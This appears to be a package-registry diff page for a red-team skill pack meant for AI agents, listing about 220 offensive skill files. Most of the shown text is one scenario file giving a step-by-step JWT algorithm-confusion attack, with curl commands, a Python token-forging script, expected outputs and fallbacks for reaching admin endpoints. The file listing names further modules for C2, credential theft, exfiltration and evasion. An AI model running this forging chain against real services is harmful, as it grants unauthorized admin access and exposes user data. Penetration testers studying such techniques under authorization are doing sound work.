rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,494 @@
1
+ ---
2
+ name: rt-scenario-w007
3
+ description: "W-007: JWT Algorithm Confusion → Admin Privilege Escalation. Domain: web. Attack chain: capture JWT token → decode header → attempt RS256→HS256 confusion with public key → forge admin token → access admin API. MITRE: T1190 → T1078.001 → T1548. Real example: RS256 token → extract public key → sign with HS256 → admin: true → full platform admin access"
4
+ ---
5
+
6
+ # W-007: JWT Algorithm Confusion → Admin Privilege Escalation
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Exploit JWT algorithm confusion (RS256 → HS256) to forge a token with elevated privileges, gaining admin access to protected API endpoints without valid credentials.
11
+
12
+ **Required Access Level:** None (unauthenticated) to Low (valid user account). A valid JWT from a low-privilege user account is sufficient to execute this attack.
13
+
14
+ **Estimated Time to Execute:** 30–90 minutes depending on target complexity and public key availability.
15
+
16
+ **Detection Risk Level:** Low–Medium. Token forging occurs entirely offline. The only detectable activity is the final API request with the forged token, which may appear as a normal authenticated request if signature validation is broken.
17
+
18
+ ---
19
+
20
+ ## Prerequisites
21
+
22
+ ### Required Tools
23
+
24
+ ```bash
25
+ # jwt_tool — primary JWT attack framework
26
+ pip3 install termcolor cprint pycryptodomex requests
27
+ git clone https://github.com/ticarpi/jwt_tool
28
+ cd jwt_tool && python3 jwt_tool.py --help
29
+
30
+ # python3-jose / PyJWT for manual token crafting
31
+ pip3 install python-jose PyJWT cryptography
32
+
33
+ # openssl — extract and manipulate public keys
34
+ # Already available on most Linux/macOS systems
35
+ openssl version
36
+
37
+ # Burp Suite (Community or Pro) — capture and replay HTTP traffic
38
+ # Download from https://portswigger.net/burp
39
+
40
+ # curl — API interaction
41
+ curl --version
42
+
43
+ # jq — JSON parsing
44
+ sudo apt-get install jq # Debian/Ubuntu
45
+ brew install jq # macOS
46
+ ```
47
+
48
+ ### Required Access or Conditions
49
+
50
+ - A valid JWT issued by the target application (obtained by logging in as any user, or intercepted in transit)
51
+ - The application must use RS256 (asymmetric) signature verification
52
+ - The server's public key must be obtainable (JWKS endpoint, TLS certificate, or application source)
53
+ - The application must accept HS256-signed tokens when it originally issued RS256 tokens (broken algorithm validation)
54
+
55
+ ### Skill Level
56
+
57
+ **INTERMEDIATE** — Requires understanding of JWT structure, asymmetric vs. symmetric cryptography, and HTTP API interaction. No exploit code required; attack uses standard tooling.
58
+
59
+ ---
60
+
61
+ ## Attack Chain
62
+
63
+ ```
64
+ [1] Obtain valid JWT (low-priv user login)
65
+ |
66
+ v
67
+ [2] Decode JWT header → confirm alg: RS256
68
+ |
69
+ v
70
+ [3] Retrieve server public key (JWKS / cert / source)
71
+ |
72
+ v
73
+ [4] Attempt RS256 → HS256 confusion:
74
+ sign forged payload with public key as HMAC secret
75
+ |
76
+ v
77
+ [5] Modify payload: role/admin claim elevated
78
+ |
79
+ v
80
+ [6] Submit forged token to admin API endpoint
81
+ |
82
+ v
83
+ [7] Confirm admin access → achieve objective
84
+ ```
85
+
86
+ **MITRE ATT&CK Chain:** T1190 (Exploit Public-Facing Application) → T1078.001 (Valid Accounts: Default Accounts) → T1548 (Abuse Elevation Control Mechanism)
87
+
88
+ ---
89
+
90
+ ## Step-by-Step Execution
91
+
92
+ ### Step 1: Obtain a Valid JWT
93
+
94
+ Log in as a low-privilege user and capture the JWT from the response.
95
+
96
+ ```bash
97
+ # Using curl
98
+ curl -s -X POST https://target.example.com/api/auth/login \
99
+ -H "Content-Type: application/json" \
100
+ -d '{"username":"user@example.com","password":"Password123"}' \
101
+ | jq -r '.token'
102
+ ```
103
+
104
+ **Expected Output:**
105
+ ```
106
+ eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MDAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
107
+ ```
108
+
109
+ **Save the token:**
110
+ ```bash
111
+ export JWT="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MDAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
112
+ ```
113
+
114
+ **Fallback:** Intercept the token in Burp Suite by proxying the login request. Check Authorization headers, cookies (e.g., `session=`, `jwt=`), and response bodies.
115
+
116
+ ---
117
+
118
+ ### Step 2: Decode the JWT Header and Confirm Algorithm
119
+
120
+ ```bash
121
+ # Decode header (base64url)
122
+ echo $JWT | cut -d'.' -f1 | base64 -d 2>/dev/null | jq .
123
+
124
+ # Using jwt_tool
125
+ python3 jwt_tool.py $JWT
126
+ ```
127
+
128
+ **Expected Output:**
129
+ ```json
130
+ {
131
+ "alg": "RS256",
132
+ "typ": "JWT"
133
+ }
134
+ ```
135
+
136
+ **Payload decode:**
137
+ ```bash
138
+ echo $JWT | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
139
+ ```
140
+
141
+ **Expected Output:**
142
+ ```json
143
+ {
144
+ "sub": "1234567890",
145
+ "name": "John Doe",
146
+ "role": "user",
147
+ "admin": false,
148
+ "iat": 1600000000
149
+ }
150
+ ```
151
+
152
+ **Fallback:** Use https://jwt.io to paste and decode the token manually. Confirm `alg` field is `RS256`.
153
+
154
+ ---
155
+
156
+ ### Step 3: Retrieve the Server's Public Key
157
+
158
+ **Option A — JWKS Endpoint (most common):**
159
+ ```bash
160
+ curl -s https://target.example.com/.well-known/jwks.json | jq .
161
+ curl -s https://target.example.com/api/auth/jwks | jq .
162
+ curl -s https://target.example.com/oauth/jwks | jq .
163
+ ```
164
+
165
+ **Expected Output:**
166
+ ```json
167
+ {
168
+ "keys": [
169
+ {
170
+ "kty": "RSA",
171
+ "use": "sig",
172
+ "n": "pjdss8ZaDfEH...",
173
+ "e": "AQAB",
174
+ "kid": "1"
175
+ }
176
+ ]
177
+ }
178
+ ```
179
+
180
+ **Convert JWKS to PEM:**
181
+ ```bash
182
+ # Save JWKS key to file and convert using jwt_tool
183
+ python3 jwt_tool.py $JWT --jwksfile jwks.json
184
+
185
+ # Or using a python script
186
+ python3 - <<'EOF'
187
+ from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
188
+ from cryptography.hazmat.backends import default_backend
189
+ from cryptography.hazmat.primitives import serialization
190
+ import base64, json
191
+
192
+ # Paste your n and e values here
193
+ n_b64 = "pjdss8ZaDfEH..."
194
+ e_b64 = "AQAB"
195
+
196
+ def b64url_decode(s):
197
+ s += '=' * (4 - len(s) % 4)
198
+ return int.from_bytes(base64.urlsafe_b64decode(s), 'big')
199
+
200
+ pub = RSAPublicNumbers(b64url_decode(e_b64), b64url_decode(n_b64)).public_key(default_backend())
201
+ pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
202
+ print(pem.decode())
203
+ with open('public_key.pem', 'wb') as f:
204
+ f.write(pem)
205
+ print("[+] Saved to public_key.pem")
206
+ EOF
207
+ ```
208
+
209
+ **Option B — Extract from TLS Certificate:**
210
+ ```bash
211
+ openssl s_client -connect target.example.com:443 </dev/null 2>/dev/null \
212
+ | openssl x509 -pubkey -noout > public_key.pem
213
+ cat public_key.pem
214
+ ```
215
+
216
+ **Option C — Extract from JWT itself (if x5c header present):**
217
+ ```bash
218
+ # If JWT header contains x5c (certificate chain), decode and extract
219
+ echo $JWT | cut -d'.' -f1 | base64 -d | jq -r '.x5c[0]' | \
220
+ openssl x509 -inform DER -pubkey -noout
221
+ ```
222
+
223
+ **Fallback:** Search the application's JavaScript bundles or open-source repositories for hardcoded public keys.
224
+
225
+ ---
226
+
227
+ ### Step 4: Forge an Admin Token Using Algorithm Confusion
228
+
229
+ **Method A — Using jwt_tool (recommended):**
230
+ ```bash
231
+ cd jwt_tool
232
+
233
+ # Attempt HS256 confusion attack using the public key as the HMAC secret
234
+ python3 jwt_tool.py $JWT -X k -pk ../public_key.pem
235
+
236
+ # Tamper specific claims and re-sign
237
+ python3 jwt_tool.py $JWT -T -pk ../public_key.pem -X k
238
+ # When prompted, change: role -> admin, admin -> true
239
+ ```
240
+
241
+ **Method B — Manual Python Approach:**
242
+ ```python
243
+ import jwt
244
+ import json
245
+ import base64
246
+
247
+ # Read the public key PEM
248
+ with open('public_key.pem', 'rb') as f:
249
+ public_key = f.read()
250
+
251
+ # Craft the forged payload
252
+ payload = {
253
+ "sub": "1234567890",
254
+ "name": "John Doe",
255
+ "role": "admin",
256
+ "admin": True,
257
+ "iat": 1600000000
258
+ }
259
+
260
+ # Sign with HS256 using the public key bytes as the secret
261
+ # PyJWT >= 2.x requires 'algorithms' param
262
+ forged_token = jwt.encode(
263
+ payload,
264
+ public_key,
265
+ algorithm="HS256"
266
+ )
267
+
268
+ print("[+] Forged token:")
269
+ print(forged_token)
270
+ ```
271
+
272
+ ```bash
273
+ python3 forge_token.py
274
+ export FORGED_JWT="<output from above>"
275
+ ```
276
+
277
+ **Expected Output:**
278
+ ```
279
+ [+] Forged token:
280
+ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsImlhdCI6MTYwMDAwMDAwMH0.SIGNATURE_WITH_PUBLIC_KEY_AS_SECRET
281
+ ```
282
+
283
+ **Verification — confirm header now shows HS256:**
284
+ ```bash
285
+ echo $FORGED_JWT | cut -d'.' -f1 | base64 -d | jq .
286
+ ```
287
+
288
+ **Expected:**
289
+ ```json
290
+ {
291
+ "alg": "HS256",
292
+ "typ": "JWT"
293
+ }
294
+ ```
295
+
296
+ **Fallback:** If jwt_tool fails, try the `none` algorithm attack as a secondary check:
297
+ ```bash
298
+ python3 jwt_tool.py $JWT -X a
299
+ ```
300
+
301
+ ---
302
+
303
+ ### Step 5: Access the Admin API with the Forged Token
304
+
305
+ ```bash
306
+ # Attempt access to admin-only endpoints
307
+ curl -s -H "Authorization: Bearer $FORGED_JWT" \
308
+ https://target.example.com/api/admin/users | jq .
309
+
310
+ curl -s -H "Authorization: Bearer $FORGED_JWT" \
311
+ https://target.example.com/api/admin/dashboard | jq .
312
+
313
+ curl -s -H "Authorization: Bearer $FORGED_JWT" \
314
+ https://target.example.com/api/admin/settings | jq .
315
+ ```
316
+
317
+ **Expected Output (success):**
318
+ ```json
319
+ {
320
+ "status": "ok",
321
+ "users": [
322
+ {"id": 1, "email": "admin@example.com", "role": "admin"},
323
+ {"id": 2, "email": "user@example.com", "role": "user"}
324
+ ]
325
+ }
326
+ ```
327
+
328
+ **Expected Output (failure — server validates algorithm):**
329
+ ```json
330
+ {
331
+ "error": "Invalid token signature",
332
+ "code": 401
333
+ }
334
+ ```
335
+
336
+ **Fallback — try alternative header formats:**
337
+ ```bash
338
+ # Some apps use cookie-based JWT
339
+ curl -s -b "session=$FORGED_JWT" https://target.example.com/api/admin/users
340
+
341
+ # Some apps use X-Auth-Token
342
+ curl -s -H "X-Auth-Token: $FORGED_JWT" https://target.example.com/api/admin/users
343
+
344
+ # Try without Bearer prefix
345
+ curl -s -H "Authorization: $FORGED_JWT" https://target.example.com/api/admin/users
346
+ ```
347
+
348
+ ---
349
+
350
+ ### Step 6: Document and Screenshot Evidence
351
+
352
+ ```bash
353
+ # Capture full response with headers for evidence
354
+ curl -sv -H "Authorization: Bearer $FORGED_JWT" \
355
+ https://target.example.com/api/admin/users \
356
+ -o admin_response.json \
357
+ -D admin_headers.txt 2>&1 | tee evidence_w007.txt
358
+
359
+ # Record token details
360
+ echo "=== Original Token ===" >> evidence_w007.txt
361
+ echo $JWT >> evidence_w007.txt
362
+ echo "=== Forged Token ===" >> evidence_w007.txt
363
+ echo $FORGED_JWT >> evidence_w007.txt
364
